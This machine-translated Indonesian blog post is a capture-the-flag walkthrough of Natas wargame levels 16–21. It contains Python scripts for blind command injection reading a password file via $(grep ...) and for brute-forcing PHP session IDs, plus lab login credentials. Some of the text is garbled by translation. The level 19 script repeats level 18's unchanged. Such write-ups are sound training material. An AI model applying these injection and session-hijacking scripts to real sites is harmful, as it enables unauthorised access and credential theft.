Natas Web. Passage dari platform KKP bertujuan untuk mengeksploitasi kerentanan Web. Bagian 3

gambar

Pada artikel ini, kita akan membahas operasi beberapa identitas WEB menggunakan wargame Natas sebagai contoh. Setiap level memiliki akses ke kata sandi level selanjutnya. Semua kata sandi juga disimpan di file / etc / natas_webpass /. Sebagai contoh, kata sandi untuk natas5 disimpan dalam file / etc / natas_webpass / natas5 dan hanya-baca untuk pengguna natas4 dan natas5.

Bagian sebelumnya: bagian 1 dan bagian 2 .

Informasi Organisasi
Terutama bagi mereka yang ingin mempelajari sesuatu yang baru dan berkembang di bidang informasi dan keamanan komputer, saya akan menulis dan berbicara tentang kategori berikut:

  • PWN;
  • kriptografi (Crypto);
  • teknologi jaringan (Jaringan);
  • membalikkan (Reverse Engineering);
  • steganografi (Stegano);
  • pencarian dan eksploitasi kerentanan WEB.

Selain itu, saya akan membagikan pengalaman saya dalam forensik komputer, analisis malware dan firmware, serangan pada jaringan nirkabel dan jaringan area lokal, melakukan pentest dan menulis eksploitasi.

Agar Anda dapat mengetahui tentang artikel baru, perangkat lunak, dan informasi lainnya, saya membuat saluran di Telegram dan grup untuk membahas masalah apa pun di bidang ICD. Juga, saya pribadi akan mempertimbangkan permintaan pribadi Anda, pertanyaan, saran dan rekomendasi secara pribadi dan akan menjawab semua orang .

Semua informasi disediakan hanya untuk tujuan pendidikan. Penulis dokumen ini tidak bertanggung jawab atas kerusakan yang disebabkan seseorang sebagai akibat dari menggunakan pengetahuan dan metode yang diperoleh sebagai hasil dari mempelajari dokumen ini.

level 16


Dilihat oleh kode sumber, semua karakter layanan disaring, dan transfer "perekatan" dari dua file tidak mungkin, karena string ditransmisikan dalam tanda kutip.

gambar

Menggunakan konstruksi seperti $ (cmd), Anda dapat mengontrol output dari "kunci".

gambar

Idenya adalah ini:
  1. Jika grep -i "key" file.txt dibangun, kunci adalah string kosong, seluruh file akan ditampilkan.
  2. Karena hanya ada satu baris dalam file dengan kata sandi, kami dapat mengontrol hasilnya.
  3. Dengan meneruskan ekspresi reguler ke grep di dalam konstruk $ (cmd), kami akan menampilkan baris dengan kata sandi (ketika kami menebak awal kata sandi) dalam parameter -i dan tidak ada baris yang akan dihasilkan dari dictionary.txt, atau alih-alih baris dengan kata sandi akan berupa string kosong dan seluruh file dictionary.txt akan ditampilkan.

import httplib import urllib import re import base64 charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" count = 0 headers = {} conn = httplib.HTTPConnection("natas16.natas.labs.overthewire.org") headers["Authorization"] = "Basic bmF0YXMxNjpXYUlIRWFjajYzd25OSUJST0hlcWkzcDl0MG01bmhtaA==" count = 0 passwd = "" while count != 32: for i in range(len(charset)): needle = urllib.quote_plus("$(grep -E ^" + passwd + charset[i] +".* /etc/natas_webpass/natas17)Afr") conn.request("GET", "/?needle=" + needle + "&submit=Search", "", headers) r1 = conn.getresponse() data = r1.read() if(data.count("African") == 0): passwd += charset[i:i+1] print(str(count) + " : " + str(passwd)) count += 1 break conn.close() print("Password : " + passwd) 

gambar

Punya kata sandi.

level 17


Kami menggunakan sqlmap sesuai dengan skenario sebelumnya (dari bagian kedua).

gambar

gambar

gambar

Ada kata sandi.

level 18


Mari kita menganalisis kode sumber.

gambar

Langkah pertama adalah untuk memeriksa apakah cookie diatur di browser. (Function my_session_start ()).

gambar

Karena tidak ada yang mengontrol cookie dalam tugas, maka mereka harus ditetapkan, yaitu, fungsi akan mengembalikan false dan dalam kode root kita akan pergi ke cabang lain. Memeriksa bidang nama pengguna dan kata sandi Fungsi session_id () mengambil angka acak dalam kisaran dari 1 hingga 640 (yang sangat aneh mengapa pembatasan seperti itu) dan membuat pengaturan konfigurasi untuk fungsi session_start ().

gambar

gambar

Selanjutnya, nama pengguna == β€œadmin” dicentang. Jika kami masuk sebagai admin, kami diberitahu tentang hal ini dan diberikan kata sandi untuk tingkat selanjutnya.

gambar

Ide solusi: rentang id ditentukan untuk pengguna. Kami akan menulis file brute force yang akan masuk ke halaman dengan id dalam rentang dari 1 hingga 640.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 

gambar

Kami mendapatkan kata sandi dengan id = 119.

level 19


Karena kodenya sama, idenya sama. Mari kita lihat cookie.

gambar

String yang disandikan hex. Kami akan memecahkan kode.

gambar

Tetap hanya mengubah kode.
 import requests from requests.auth import HTTPBasicAuth import binascii host = 'http://natas19.natas.labs.overthewire.org/' auth = HTTPBasicAuth('natas19', '4IwIrekcuZlA9OsjOkoUtwU6lhokCPYs') params = {'username':'admin', 'password':'admin'} for i in range(0, 640): print(i) phpsessid = binascii.hexlify(str(i)+"-admin") cookies={'PHPSESSID':phpsessid} r = requests.get(host, params=params, cookies=cookies, auth=auth) if('Password' in r.content): print(r.content) break 


gambar

Ada kata sandi.

level 20


Setelah menganalisis kode sumber, kita dapat mengasumsikan bahwa 2 fungsi perlu mendapat perhatian.

Fungsi mywrite () menulis data pada setiap baris sebagai key_value. Tetapi kunci dipilih secara acak, dan nilainya ditransfer dari bidang input.

gambar

Fungsi myread () melewati semua baris dan membaca data yang dipisahkan oleh ruang (kunci dan nilai).

gambar

Kami akan melihat kata sandi hanya jika baris "admin 1" muncul di file seperti itu. Faktanya adalah bahwa kita dapat mem-bypass logika aplikasi dan menuliskan sebanyak mungkin baris yang kita inginkan. Untuk melakukan ini, kita harus mengirim baris formulir "Value0_TranslationStrings_Key1_Value1, dll."

gambar

Setelah nilai ditulis ke file, kami memuat ulang halaman sehingga dibaca dari file.

gambar

Kami mengambil kata sandi.

level 21


Kami disediakan dengan dua versi situs. Faktanya adalah cookie dan sesi tersedia untuk transfer antar halaman yang berbeda pada domain yang sama. Kami mempelajari kode sumber situs kedua. Semua parameter yang diterima diatur dalam sesi. Dengan analogi dengan level sebelumnya, Anda harus mengatur admin => 1.

gambar

Cukup tambahkan parameter admin baru dengan nilai 1, muat ulang halaman dan letakkan cookie ini di halaman utama.

gambar

gambar

Kami mengambil kata sandi.

Untuk dilanjutkan. Anda dapat bergabung dengan kami di Telegram .

Source: https://habr.com/ru/post/id464729/


All Articles